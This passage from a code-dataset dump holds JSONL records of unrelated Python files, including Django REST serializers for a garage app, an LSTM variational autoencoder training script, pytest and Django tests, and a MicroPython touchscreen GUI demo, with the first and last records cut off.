matrix)\n\n","sub_path":"app/EntityAnalysis/SemanticSimilarity.py","file_name":"SemanticSimilarity.py","file_ext":"py","file_size_in_byte":16925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"122140454","text":"#!/usr/bin/env python\n\nimport cli.app\n\n@cli.app.CommandLineApp\ndef lsof(app):\n app.stdout.write('running %s' % app.name)\n\nlsof.add_param(\"-a\", help=\"causes list selection options to be ANDed, as described above.\", default=False, action=\"store_true\")\nlsof.add_param(\"-b\", help=\"causes lsof to avoid kernel functions that might block - lstat(2), readlink(2), and stat(2).\", default=False, action=\"store_true\")\n\nif __name__ == '__main__':\n lsof.run()\n","sub_path":"examples/lsof.py","file_name":"lsof.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"345505538","text":"import argparse\nimport collections\n\ndefaults = {\n 'spam': 'default spam value',\n 'eggs': 'default egg value',\n}\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--spam')\nparser.add_argument('--eggs')\n\nargs = vars(parser.parse_args())\nprint(args)\n\nfiltered_args = {k: v for k, v in args.items() if v}\nprint(filtered_args)\n\ncombined = collections.ChainMap(filtered_args, defaults)\nprint(combined['spam'])\nprint(combined['eggs'])\nprint(combined)\nprint()","sub_path":"chianMapTest.py","file_name":"chianMapTest.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"569944761","text":"from test.perf.affinity import Topology\nfrom wait_for import TimedOutError\nimport time\nimport pytest\n\n\n@pytest.yield_fixture(\n scope=\"function\",\n params=[\n \"test/perf/topology-flat.yaml\",\n \"test/perf/topology-tree.yaml\",\n \"test/perf/topology-random.yaml\",\n ],\n ids=[\"flat\", \"tree\", \"random\"],\n)\ndef topology(request):\n topo = Topology.load_topology_from_file(request.param, use_diag_node=True)\n try:\n topo.start(wait=True)\n yield topo\n except TimedOutError:\n raise\n finally:\n print(f\"{time.time()} - Stopping current topo\")\n print(topo.nodes['controller'])\n topo.stop()\n\n\ndef test_pings_perf(topology):\n results = topology.ping()\n topology.validate_ping_results(results)\n","sub_path":"test/perf/test_ping.py","file_name":"test_ping.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"67938591","text":"from rest_framework import serializers\nfrom garageApp.models import Garage, Owner_Detail, Garage_Detail, Garage_Service\nfrom dateutil import parser\n\n\ndef dataTypeConverter(val, type):\n \"\"\"\n convert val into type which can be ('INT', 'CHAR', 'DEC', 'BOOLEAN', 'DATETIME', 'LONG') datatype\n \"\"\"\n if type == \"INT\":\n return int(val)\n elif type == \"CHAR\":\n return str(val)\n elif type == \"DEC\":\n return float(val)\n elif type == \"BOOLEAN\":\n if val == None:\n return False\n val = str(val).lower()\n if val[0] == 'o' or val[0] == 't' or val[0] == 'y':\n return True\n else:\n return False\n elif type == \"DATETIME\":\n return parser.parse(val)\n elif type == \"LONG\":\n return long(val)\n\n\nclass GarageSerializer(serializers.ModelSerializer):\n class Meta:\n model = Garage\n fields = (\n 'Garage_ID', 'Garage_Name', 'Address', 'Suburb', 'City', 'State', 'Year_Establishment', 'Latitude', 'Longitude',\n 'Garage_Type', 'Make', 'Area_Garage', 'Region_ID')\n\n def create(self, validated_data):\n \"\"\"\n Create and return a new `Garage` instance, given the validated data.\n \"\"\"\n return Garage.objects.create(**validated_data)\n\n def make_validations(self, instance, data):\n \"\"\"\n return validated_data from data for `Garage` instance\n \"\"\"\n data['Garage_ID'] = data.get('Garage_ID', instance.Garage_ID)\n data['Garage_Name'] = data.get('Garage_Name', instance.Garage_Name)\n data['Address'] = data.get('Address', instance.Address)\n data['Suburb'] = data.get('Suburb', instance.Suburb)\n data['City'] = data.get('City', instance.City)\n data['State'] = data.get('State', instance.State)\n data['Year_Establishment'] = data.get('Year_Establishment', instance.Year_Establishment)\n data['Latitude'] = data.get('Latitude', instance.Latitude)\n data['Longitude'] = data.get('Longitude', instance.Longitude)\n data['Garage_Type'] = data.get('Garage_Type', instance.Garage_Type)\n data['Make'] = data.get('Make', instance.Make)\n data['Area_Garage'] = data.get('Area_Garage', instance.Area_Garage)\n data['Region_ID'] = data.get('Region_ID', instance.Region_ID)\n return data\n\n def getFormData(self, request):\n \"\"\"\n Return Form Data from POST Request\n \"\"\"\n data = {}\n datatype = {}\n datatype['Garage_ID'] = \"INT\"\n datatype['Garage_Name'] = \"CHAR\"\n datatype['Address'] = \"CHAR\"\n datatype['Suburb'] = \"CHAR\"\n datatype['City'] = \"CHAR\"\n datatype['State'] = \"CHAR\"\n datatype['Year_Establishment'] = \"DATETIME\"\n datatype['Latitude'] = \"DEC\"\n datatype['Longitude'] = \"DEC\"\n datatype['Garage_Type'] = \"CHAR\"\n datatype['Make'] = \"CHAR\"\n datatype['Area_Garage'] = \"DEC\"\n datatype['Region_ID'] = \"INT\"\n for field in self.fields.keys():\n data[field] = request.POST.get(field, None)\n if data[field] != None:\n data[field] = dataTypeConverter(data[field], datatype[field])\n return data\n\n def getRelatedAttributes(self):\n related_attributes = ['Region_ID']\n return related_attributes\n\n def update(self, instance, validated_data):\n \"\"\"\n Update and return an existing `Garage` instance, given the validated data.\n \"\"\"\n instance.Garage_ID = validated_data.get('Garage_ID', instance.Garage_ID)\n instance.Garage_Name = validated_data.get('Garage_Name', instance.Garage_Name)\n instance.Address = validated_data.get('Address', instance.Address)\n instance.Suburb = validated_data.get('Suburb', instance.Suburb)\n instance.City = validated_data.get('City', instance.City)\n instance.State = validated_data.get('State', instance.State)\n instance.Year_Establishment = validated_data.get('Year_Establishment', instance.Year_Establishment)\n instance.Latitude = validated_data.get('Latitude', instance.Latitude)\n instance.Longitude = validated_data.get('Longitude', instance.Longitude)\n instance.Garage_Type = validated_data.get('Garage_Type', instance.Garage_Type)\n instance.Make = validated_data.get('Make', instance.Make)\n instance.Area_Garage = validated_data.get('Area_Garage', instance.Area_Garage)\n instance.Region_ID = validated_data.get('Region_ID', instance.Region_ID)\n instance.save()\n return instance\n\n\nclass Owner_DetailSerializer(serializers.ModelSerializer):\n class Meta:\n model = Owner_Detail\n fields = ('Owner_ID', 'Owner_Name', 'Owner_Number', 'POC', 'Address')\n\n def create(self, validated_data):\n \"\"\"\n Create and return a new `Owner_Detail` instance, given the validated data.\n \"\"\"\n return Owner_Detail.objects.create(**validated_data)\n\n def make_validations(self, instance, data):\n \"\"\"\n return validated_data from data for `Owner_Detail` instance\n \"\"\"\n data['Owner_ID'] = data.get('Owner_ID', instance.Owner_ID)\n data['Owner_Name'] = data.get('Owner_Name', instance.Owner_Name)\n data['Owner_Number'] = data.get('Owner_Number', instance.Owner_Number)\n data['POC'] = data.get('POC', instance.POC)\n data['Address'] = data.get('Address', instance.Address)\n return data\n\n def getFormData(self, request):\n \"\"\"\n Return Form Data from POST Request\n \"\"\"\n data = {}\n datatype = {}\n datatype['Owner_ID'] = \"INT\"\n datatype['Owner_Name'] = \"CHAR\"\n datatype['Owner_Number'] = \"INT\"\n datatype['POC'] = \"CHAR\"\n datatype['Address'] = \"CHAR\"\n for field in self.fields.keys():\n data[field] = request.POST.get(field, None)\n if data[field] != None:\n data[field] = dataTypeConverter(data[field], datatype[field])\n return data\n\n def getRelatedAttributes(self):\n related_attributes = []\n return related_attributes\n\n def update(self, instance, validated_data):\n \"\"\"\n Update and return an existing `Owner_Detail` instance, given the validated data.\n \"\"\"\n instance.Owner_ID = validated_data.get('Owner_ID', instance.Owner_ID)\n instance.Owner_Name = validated_data.get('Owner_Name', instance.Owner_Name)\n instance.Owner_Number = validated_data.get('Owner_Number', instance.Owner_Number)\n instance.POC = validated_data.get('POC', instance.POC)\n instance.Address = validated_data.get('Address', instance.Address)\n instance.save()\n return instance\n\n\nclass Garage_DetailSerializer(serializers.ModelSerializer):\n class Meta:\n model = Garage_Detail\n fields = ('Garage_Detail_ID', 'Equipment_Name', 'Number_Of_Two_Post_Lift', 'Washing_Bay', 'Paint_Booth',\n 'Scanning_Tool_Kit', 'No_Of_Mechanics', 'Working_Staff', 'Service_Capacity', 'Visited_By',\n 'Garage_ID')\n\n def create(self, validated_data):\n \"\"\"\n Create and return a new `Garage_Detail` instance, given the validated data.\n \"\"\"\n return Garage_Detail.objects.create(**validated_data)\n\n def make_validations(self, instance, data):\n \"\"\"\n return validated_data from data for `Garage_Detail` instance\n \"\"\"\n data['Garage_Detail_ID'] = data.get('Garage_Detail_ID', instance.Garage_Detail_ID)\n data['Equipment_Name'] = data.get('Equipment_Name', instance.Equipment_Name)\n data['Number_Of_Two_Post_Lift'] = data.get('Number_Of_Two_Post_Lift', instance.Number_Of_Two_Post_Lift)\n data['Washing_Bay'] = data.get('Washing_Bay', instance.Washing_Bay)\n data['Paint_Booth'] = data.get('Paint_Booth', instance.Paint_Booth)\n data['Scanning_Tool_Kit'] = data.get('Scanning_Tool_Kit', instance.Scanning_Tool_Kit)\n data['No_Of_Mechanics'] = data.get('No_Of_Mechanics', instance.No_Of_Mechanics)\n data['Working_Staff'] = data.get('Working_Staff', instance.Working_Staff)\n data['Service_Capacity'] = data.get('Service_Capacity', instance.Service_Capacity)\n data['Visited_By'] = data.get('Visited_By', instance.Visited_By)\n data['Garage_ID'] = data.get('Garage_ID', instance.Garage_ID)\n return data\n\n def getFormData(self, request):\n \"\"\"\n Return Form Data from POST Request\n \"\"\"\n data = {}\n datatype = {}\n datatype['Garage_Detail_ID'] = \"INT\"\n datatype['Equipment_Name'] = \"CHAR\"\n datatype['Number_Of_Two_Post_Lift'] = \"INT\"\n datatype['Washing_Bay'] = \"CHAR\"\n datatype['Paint_Booth'] = \"CHAR\"\n datatype['Scanning_Tool_Kit'] = \"CHAR\"\n datatype['No_Of_Mechanics'] = \"INT\"\n datatype['Working_Staff'] = \"INT\"\n datatype['Service_Capacity'] = \"INT\"\n datatype['Visited_By'] = \"CHAR\"\n datatype['Garage_ID'] = \"INT\"\n for field in self.fields.keys():\n data[field] = request.POST.get(field, None)\n if data[field] != None:\n data[field] = dataTypeConverter(data[field], datatype[field])\n return data\n\n def getRelatedAttributes(self):\n related_attributes = ['Garage_ID']\n return related_attributes\n\n def update(self, instance, validated_data):\n \"\"\"\n Update and return an existing `Garage_Detail` instance, given the validated data.\n \"\"\"\n instance.Garage_Detail_ID = validated_data.get('Garage_Detail_ID', instance.Garage_Detail_ID)\n instance.Equipment_Name = validated_data.get('Equipment_Name', instance.Equipment_Name)\n instance.Number_Of_Two_Post_Lift = validated_data.get('Number_Of_Two_Post_Lift',\n instance.Number_Of_Two_Post_Lift)\n instance.Washing_Bay = validated_data.get('Washing_Bay', instance.Washing_Bay)\n instance.Paint_Booth = validated_data.get('Paint_Booth', instance.Paint_Booth)\n instance.Scanning_Tool_Kit = validated_data.get('Scanning_Tool_Kit', instance.Scanning_Tool_Kit)\n instance.No_Of_Mechanics = validated_data.get('No_Of_Mechanics', instance.No_Of_Mechanics)\n instance.Working_Staff = validated_data.get('Working_Staff', instance.Working_Staff)\n instance.Service_Capacity = validated_data.get('Service_Capacity', instance.Service_Capacity)\n instance.Visited_By = validated_data.get('Visited_By', instance.Visited_By)\n instance.Garage_ID = validated_data.get('Garage_ID', instance.Garage_ID)\n instance.save()\n return instance\n\n\nclass Garage_ServiceSerializer(serializers.ModelSerializer):\n class Meta:\n model = Garage_Service\n fields = ('Garage_Service_ID', 'Service_ID', 'Garage_ID', 'Cat_ID', 'SubCat_ID', 'SubSubCat_ID')\n\n def create(self, validated_data):\n \"\"\"\n Create and return a new `Garage_Service` instance, given the validated data.\n \"\"\"\n return Garage_Service.objects.create(**validated_data)\n\n def make_validations(self, instance, data):\n \"\"\"\n return validated_data from data for `Garage_Service` instance\n \"\"\"\n data['Garage_Service_ID'] = data.get('Garage_Service_ID', instance.Garage_Service_ID)\n data['Service_ID'] = data.get('Service_ID', instance.Service_ID)\n data['Garage_ID'] = data.get('Garage_ID', instance.Garage_ID)\n data['Cat_ID'] = data.get('Cat_ID', instance.Cat_ID)\n data['SubCat_ID'] = data.get('SubCat_ID', instance.SubCat_ID)\n data['SubSubCat_ID'] = data.get('SubSubCat_ID', instance.SubSubCat_ID)\n return data\n\n def getFormData(self, request):\n \"\"\"\n Return Form Data from POST Request\n \"\"\"\n data = {}\n datatype = {}\n datatype['Garage_Service_ID'] = \"INT\"\n datatype['Service_ID'] = \"INT\"\n datatype['Garage_ID'] = \"INT\"\n datatype['Cat_ID'] = \"INT\"\n datatype['SubCat_ID'] = \"INT\"\n datatype['SubSubCat_ID'] = \"INT\"\n for field in self.fields.keys():\n data[field] = request.POST.get(field, None)\n if data[field] != None:\n data[field] = dataTypeConverter(data[field], datatype[field])\n return data\n\n def getRelatedAttributes(self):\n related_attributes = ['Service_ID', 'Garage_ID', 'Cat_ID', 'SubCat_ID', 'SubSubCat_ID']\n return related_attributes\n\n def update(self, instance, validated_data):\n \"\"\"\n Update and return an existing `Garage_Service` instance, given the validated data.\n \"\"\"\n instance.Garage_Service_ID = validated_data.get('Garage_Service_ID', instance.Garage_Service_ID)\n instance.Service_ID = validated_data.get('Service_ID', instance.Service_ID)\n instance.Garage_ID = validated_data.get('Garage_ID', instance.Garage_ID)\n instance.Cat_ID = validated_data.get('Cat_ID', instance.Cat_ID)\n instance.SubCat_ID = validated_data.get('SubCat_ID', instance.SubCat_ID)\n instance.SubSubCat_ID = validated_data.get('SubSubCat_ID', instance.SubSubCat_ID)\n instance.save()\n return instance\n","sub_path":"carcrew/garageApp/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":13223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"75030035","text":"\n# coding: utf-8\n\n# In[1]:\n\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer\n2\n#from sklearn.feature_extraction.text import TfidfVectorizer\nvect=CountVectorizer(binary=True) #explore other parameters to\ncorpus=[\"Tesseract is good optical character recognition engine\",\"optical character rcognition is different\"]\nvect.fit(corpus)\nprint(vect.transform([\"Today is good optical\"]).toarray())\n#print(vect.transform(corpus).toarray())\n\n","sub_path":"nlp/Count_Vectorizer.py","file_name":"Count_Vectorizer.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"456050703","text":"from django.test import TestCase\nfrom django.urls import reverse\n\nfrom api.serializers.commerce import ProductSerializer\n\nfrom ..factories import ProductFactory, ShopFactory\n\n\nclass WhenUserGetShopProductTrending(TestCase):\n \"\"\"\n [Test if user can get products]\n\n Arguments:\n TestCase {[type]} -- [description]\n \"\"\"\n\n def setUp(self):\n \"\"\"\n [Sets up the testing database]\n \"\"\"\n self.shop = ShopFactory()\n self.product = ProductFactory(shop_rel=self.shop)\n self.response = self.client.get(\n reverse(\n \"api:shop_trending_product\",\n kwargs={\"slug\": self.shop.slug, \"cat\": self.product.genre[\"slug\"]},\n ),\n content_type=\"application/json\",\n )\n\n def test_response_code(self):\n \"\"\"\n [Test if there are no errors]\n \"\"\"\n assert self.response.status_code == 200\n\n def test_products_returned(self):\n \"\"\"\n [Check if the info are returned]\n \"\"\"\n product = ProductSerializer(self.product)\n assert self.response.json()[\"results\"] == [product.data]\n","sub_path":"tests/store/test_user_can_see_shop_trending_product.py","file_name":"test_user_can_see_shop_trending_product.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"55935939","text":"from __future__ import print_function\nimport argparse\nimport torch\nimport torch.utils.data\nimport os\nimport scipy.io as sio\nfrom torch import nn, optim\nfrom torch.autograd import Variable\n#from torch.nn import functional as F\nfrom torchvision import datasets, transforms\nfrom torchvision.utils import save_image\n\n# constants defined at the beginning\nseq_length=201\ninput_dim=1862\nbatch_size=17\nn_samples=37\nisAnnealing=1\n\n\nparser = argparse.ArgumentParser(description='VAE MNIST Example')\nparser.add_argument('--batch-size', type=int, default=128, metavar='N',\n help='input batch size for training (default: 128)')\nparser.add_argument('--epochs', type=int, default=10, metavar='N',\n help='number of epochs to train (default: 10)')\nparser.add_argument('--no-cuda', action='store_true', default=False,\n help='enables CUDA training')\nparser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\nparser.add_argument('--log-interval', type=int, default=10, metavar='N',\n help='how many batches to wait before logging training status')\nargs = parser.parse_args()\nargs.cuda = not args.no_cuda and torch.cuda.is_available()\n\n\n\ntorch.manual_seed(args.seed)\nif args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n\nkwargs = {'num_workers': 1, 'pin_memory': True} if args.cuda else {}\ntrain_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=True, download=True,\n transform=transforms.ToTensor()),\n batch_size=args.batch_size, shuffle=True, **kwargs)\ntest_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=False, transform=transforms.ToTensor()),\n batch_size=args.batch_size, shuffle=True, **kwargs)\n\n#To import data\nos.chdir(\"../DataSingle/\")\npath_data=os.getcwd()\nos.chdir(\"../VAE_Pytorch/\")\n#data import portion ends\n\nclass VAE(nn.Module):\n def __init__(self):\n super(VAE, self).__init__()\n\n self.fc1 = nn.LSTM(input_dim, 800)\n self.fc21 = nn.Linear(800, 50)\n self.fc22 = nn.Linear(800, 50)\n self.fc3 = nn.Linear(50, 800)\n self.fc41 = nn.LSTM(800, input_dim)\n self.fc42 = nn.LSTM(800, input_dim)\n self.relu = nn.ReLU()\n self.sigmoid = nn.Sigmoid()\n\n\n def encode(self, x):\n out, hidden=self.fc1(x)\n h1 = self.relu(out)\n return self.fc21(h1), self.fc22(h1)\n\n def reparameterize(self, mu, logvar):\n if self.training:\n std = logvar.mul(0.5).exp_()\n eps = Variable(std.data.new(std.size()).normal_())\n return eps.mul(std).add_(mu)\n else:\n return mu\n\n def decode(self, z):\n h3 = self.relu(self.fc3(z))\n out1,hidden1=self.fc41(h3)\n out2, hidden2 = self.fc42(h3)\n return self.sigmoid(out1), (out2)\n\n def forward(self, x):\n mu, logvar = self.encode(x)\n z = self.reparameterize(mu, logvar)\n muTheta,logvarTheta=self.decode(z)\n return muTheta,logvarTheta, mu, logvar\n\n\nmodel = VAE()\nif args.cuda:\n model.cuda()\n\n\ndef loss_function(muTheta,logvarTheta, x, mu, logvar,annealParam):\n #tol=1e-8\n #BCE = -torch.sum(torch.mul(x,torch.log(tol+recon_x))+(1-x).mul(torch.log(1+tol-recon_x)))\n diffSq=(x-muTheta).pow(2)\n precis=torch.exp(-logvarTheta)\n #print('Sum logvar:',torch.sum(logvarTheta))\n #print('Sumerror: ',torch.sum(diffSq))\n #print('SumerrordivVar: ', torch.sum(torch.mul(diffSq,precis)))\n BCE=0.5*torch.sum(logvarTheta+torch.mul(diffSq,precis))\n BCE/=(batch_size * input_dim*seq_length)\n\n # see Appendix B from VAE paper:\n # Kingma and Welling. Auto-Encoding Variational Bayes. ICLR, 2014\n # https://arxiv.org/abs/1312.6114\n # 0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\n KLD = -0.5 * annealParam*torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n # Normalise by same number of elements as in reconstruction\n KLD /= batch_size * 50*seq_length\n\n return BCE + KLD\n\n\noptimizer = optim.Adam(model.parameters(), lr=1e-3)\n\ndef prepareData(train_loader, seq_length, batch_index):\n index_start=batch_index*seq_length\n index_end=index_start+seq_length\n for i, (data, _) in enumerate(train_loader):\n data=data.view(-1,input_dim)\n data=data.resize_((batch_size,input_dim,1))\n if i==index_start:\n outData=data\n elif i > index_start and i < index_end:\n outData=torch.cat((outData,data),2)\n return outData.permute(2,0,1)\ndef train(epoch):\n model.train()\n train_loss = 0\n seg_range = list(range(0, 17))\n j = 1\n while j < input_dim:\n # Loop over all segments\n for i in seg_range:\n # batch_xs, _ = mnist.train.next_batch(batch_size)\n\n # print (i,',',j)\n TrainData = sio.loadmat(path_data + '/TmpSeg' + str(i) + 'exc' + str(j) + '.mat')\n\n zz = torch.FloatTensor(TrainData['U'])\n U=zz.contiguous().view(seq_length, 1, -1)\n #print(U)\n if i == 0:\n outData = U\n elif i > 0 and i < 17:\n outData = torch.cat((outData, U), 1)\n\n data = Variable(outData) #sequence length, batch size, input size\n #print(data.size())\n if args.cuda:\n data = data.cuda()\n optimizer.zero_grad()\n muTheta,logvarTheta, mu, logvar = model(data)\n if epoch<50:\n annealParam=0\n elif epoch <500:\n annealParam=(epoch/500)\n else:\n annealParam=1\n loss = loss_function(muTheta,logvarTheta, data, mu, logvar,annealParam)\n loss.backward()\n train_loss += loss.data[0]\n optimizer.step()\n\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, j, 50*n_samples,\n 100. * j / (50*n_samples),\n loss.data[0] ))\n j=j+50\n\n print('====> Epoch: {} Average loss: {:.4f}'.format(\n epoch, train_loss / n_samples))\n\n\ndef test(epoch):\n model.eval()\n test_loss = 0\n for i, (data, _) in enumerate(test_loader):\n if args.cuda:\n data = data.cuda()\n data = Variable(data, volatile=True)\n recon_batch, mu, logvar = model(data)\n test_loss += loss_function(recon_batch, data, mu, logvar).data[0]\n if i == 0:\n n = min(data.size(0), 8)\n comparison = torch.cat([data[:n],\n recon_batch.view(args.batch_size, 1, 28, 28)[:n]])\n save_image(comparison.data.cpu(),\n 'results/reconstruction_' + str(epoch) + '.png', nrow=n)\n\n test_loss /= len(test_loader.dataset)\n print('====> Test set loss: {:.4f}'.format(test_loss))\n\ndef save_checkpoint(state, filename='checkpoint.pth.tar'):\n torch.save(state, filename)\n\nfor epoch in range(1, args.epochs + 1):\n train(epoch)\n if (epoch % 100==0):\n save_checkpoint({\n 'epoch': epoch ,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n }, 'output/modelGaussAn' + str(epoch))\n '''\n test(epoch)\n sample = Variable(torch.randn(64, 20))\n if args.cuda:\n sample = sample.cuda()\n sample = model.decode(sample).cpu()\n save_image(sample.data.view(64, 1, 28, 28),\n 'results/sample_' + str(epoch) + '.png')\n '''\n","sub_path":"SeqVaeAligned.py","file_name":"SeqVaeAligned.py","file_ext":"py","file_size_in_byte":7380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"613763607","text":"#!/usr/bin/env python\n\n\"\"\"\n*****************************************************************\nLicensed Materials - Property of IBM\n(C) Copyright IBM Corp. 2020. All Rights Reserved.\nUS Government Users Restricted Rights - Use, duplication or\ndisclosure restricted by GSA ADP Schedule Contract with IBM Corp.\n*****************************************************************\n\n*******************************************************************************\nScript: validate_env.py\n\nSummary:\n Performs syntactic validation on environment files used by build_env.py from\n the open-ce project.\n\nDescription:\n This script will take a YAML build env file and will check that file and all\n dependencies for syntactic errors.\n\n*******************************************************************************\n\"\"\"\n\nimport sys\nimport env_config\nimport utils\n\ndef make_parser():\n ''' Parser for input arguments '''\n arguments = [utils.Argument.ENV_FILE, utils.Argument.PYTHON_VERSIONS,\n utils.Argument.BUILD_TYPES]\n parser = utils.make_parser(arguments,\n description = 'Lint Environment Files')\n return parser\n\ndef validate_env(arg_strings=None):\n '''\n Entry function.\n '''\n parser = make_parser()\n args = parser.parse_args(arg_strings)\n variants = [{ 'python' : py_vers, 'build_type' : build_type } for py_vers in utils.parse_arg_list(args.python_versions)\n for build_type in utils.parse_arg_list(args.build_types)]\n retval = 0\n for variant in variants:\n result,_ = env_config.load_env_config_files(args.env_config_file, variant)\n retval += result\n\n return retval\n\nif __name__ == '__main__':\n sys.exit(validate_env())\n","sub_path":"open-ce/validate_env.py","file_name":"validate_env.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"121694578","text":"# Continue Method\r\n\r\nstring = 'Python'\r\n\r\nx = 0\r\nwhile x < len(string):\r\n if string[x] == \"y\":\r\n x = x + 1\r\n continue\r\n else:\r\n print(string[x])\r\n x += 1\r\n\r\n# Break Method\r\n\r\nliste = ['Ship','Vehicle','Train','Plane']\r\n\r\nx = 0\r\nwhile True:\r\n if liste[x] == 'Vehicle':\r\n x += 1\r\n continue\r\n elif x == len(liste)-1:\r\n break\r\n else:\r\n print(liste[x])\r\n x += 1\r\n\r\n# Selection Making\r\n\r\nquest = int(input(\"Selection #1\\nSelection #2\\nYour choice: \"))\r\n\r\nwhile True:\r\n if quest == 1:\r\n print(\"Selection number 1 has choosen.\")\r\n break\r\n elif quest == 2:\r\n print(\"Selection number 2 has choosen.\")\r\n break\r\n else:\r\n print(\"Did the wrong choice.\")\r\n break","sub_path":"src/Loops/BreakContinue.py","file_name":"BreakContinue.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"189655819","text":"from flask import render_template\n\n# TEMP\nROOT = \"http://localhost:5000/cmis/atompub\"\nXML_HEADER = \"\\n\"\n\n\nclass Feed(object):\n def __init__(self, object, collection):\n self.object = object\n self.collection = collection\n\n def to_xml(self, **options):\n ctx = {'ROOT': ROOT, 'object': self.object,\n 'collection': self.collection, 'to_xml': to_xml}\n return render_template(\"cmis/feed.xml\", **ctx)\n\n\nclass Entry(object):\n def __init__(self, obj):\n self.obj = obj\n\n def to_xml(self, **options):\n ctx = {'ROOT': ROOT, 'folder': self.obj, 'document': self.obj,\n 'options': options, 'to_xml': to_xml}\n\n if self.obj.sbe_type == 'cmis:folder':\n result = render_template(\"cmis/folder.xml\", **ctx)\n elif self.obj.sbe_type == 'cmis:document':\n result = render_template(\"cmis/document.xml\", **ctx)\n else:\n raise Exception(\"Unknown base object type: %s\" % self.obj.sbe_type)\n\n if not 'no_xml_header' in options:\n result = XML_HEADER + result\n\n return result\n\n\ndef to_xml(obj, **options):\n entry = Entry(obj)\n return entry.to_xml(**options)\n","sub_path":"abilian/sbe/apps/documents/cmis/renderer.py","file_name":"renderer.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"607959451","text":"# scale_ctrl_test.py Test/demo of ScaleCtrl widget for Pybboard RA8875 GUI\n\n# Released under the MIT License (MIT). See LICENSE.\n# Copyright (c) 2021 Peter Hinch\n\n# Usage:\n# import micropython_ra8875.demos.scale_ctrl_test\n\nimport uasyncio as asyncio\nfrom micropython_ra8875.py.colors import *\nfrom micropython_ra8875.py.ugui import Screen\nfrom micropython_ra8875.fonts import font10, font14\nfrom micropython_ra8875.widgets.buttons import Button\nfrom micropython_ra8875.widgets.label import Label\nfrom micropython_ra8875.widgets.scale_ctrl import ScaleCtrl\nfrom micropython_ra8875.widgets.scale_log import ScaleLog\nfrom micropython_ra8875.driver.tft_local import setup # Local wiring\n\n# Arguments common to sets of controls\nbuttons = {'font': font14,\n 'width': 80,\n 'height': 30,\n 'shape': RECTANGLE,\n 'fontcolor': BLACK, }\n\nlabels = {'font': font14,\n 'width': 140,\n 'border': 2,\n 'fontcolor': WHITE,\n 'bgcolor': DARKGREEN,\n 'fgcolor': RED, }\n\nscales = {'font': font10,\n 'width': 350,\n 'height': 60,\n 'pointercolor': RED,\n 'fontcolor': YELLOW,\n 'fgcolor': GREEN,\n 'bgcolor': BLACK, }\n\n# STANDARD BUTTONS\n\ndef quitbutton(x, y):\n def quit(button):\n Screen.shutdown()\n Button((x, y), callback = quit, fgcolor = RED, text = 'Quit', **buttons)\n\ndef fwdbutton(x, y, cls_screen, text='Next'):\n def fwd(button):\n Screen.change(cls_screen)\n Button((x, y), callback = fwd, fgcolor = GREEN, text = text, **buttons)\n\ndef backbutton(x, y):\n def back(button):\n Screen.back()\n Button((x, y), callback = back, fgcolor = CYAN, text = 'Back', **buttons)\n\nclass linearScreen(Screen):\n def __init__(self):\n super().__init__()\n\n # Scale 0 with custom variable and legends.\n Label((0, 0), font = font14, value = 'FM radio scale 88-108MHz.')\n lbl_result0 = Label((0, 240), **labels)\n # Define callbacks for scale 0\n def legendcb(f):\n return '{:2.0f}'.format(88 + ((f + 1) / 2) * (108 - 88))\n\n def scale_move0(scale):\n sv = scale.value()\n sv = (sv + 1) / 2 # 0 <= sv <= 1\n lbl_result0.value('{:6.2f}'.format(sv*(108 - 88) + 88))\n\n self.scale0 = ScaleCtrl((0, 30), legendcb = legendcb,\n cb_move=scale_move0, **scales)\n # Scale 1 with varying color.\n Label((0, 130), font = font14, value = 'Default scale -1 to +1, varying colors.')\n lbl_result1 = Label((200, 240), **labels)\n # Define callbacks for scale 1\n def tickcb(f, c):\n if f > 0.8:\n return RED\n if f < -0.8:\n return BLUE\n return c\n\n def scale_move1(scale):\n sv = scale.value()\n lbl_result1.value('{:4.3f}'.format(sv))\n\n self.scale1 = ScaleCtrl((0, 160), tickcb = tickcb,\n cb_move=scale_move1, **scales)\n # Define buttons\n x = 390\n y = 242\n backbutton(x, y)\n #Button((x, y), fgcolor = RED, text = 'Quit',\n #callback = lambda _: Screen.shutdown(), **buttons)\n y -= 50\n Button((x, y), fgcolor = GREEN, text = 'Enable',\n callback = self.en, **buttons)\n y -= 50\n Button((x, y), fgcolor = YELLOW, text = 'Disable',\n callback = self.dis, **buttons)\n y -= 50\n Button((x, y), fgcolor = BLUE, text = 'Zero',\n callback = lambda _: self.scale1.value(0), **buttons)\n\n\n def en(self, _): # Discard button arg\n self.scale0.greyed_out(False)\n self.scale1.greyed_out(False)\n\n def dis(self, _):\n self.scale0.greyed_out(True)\n 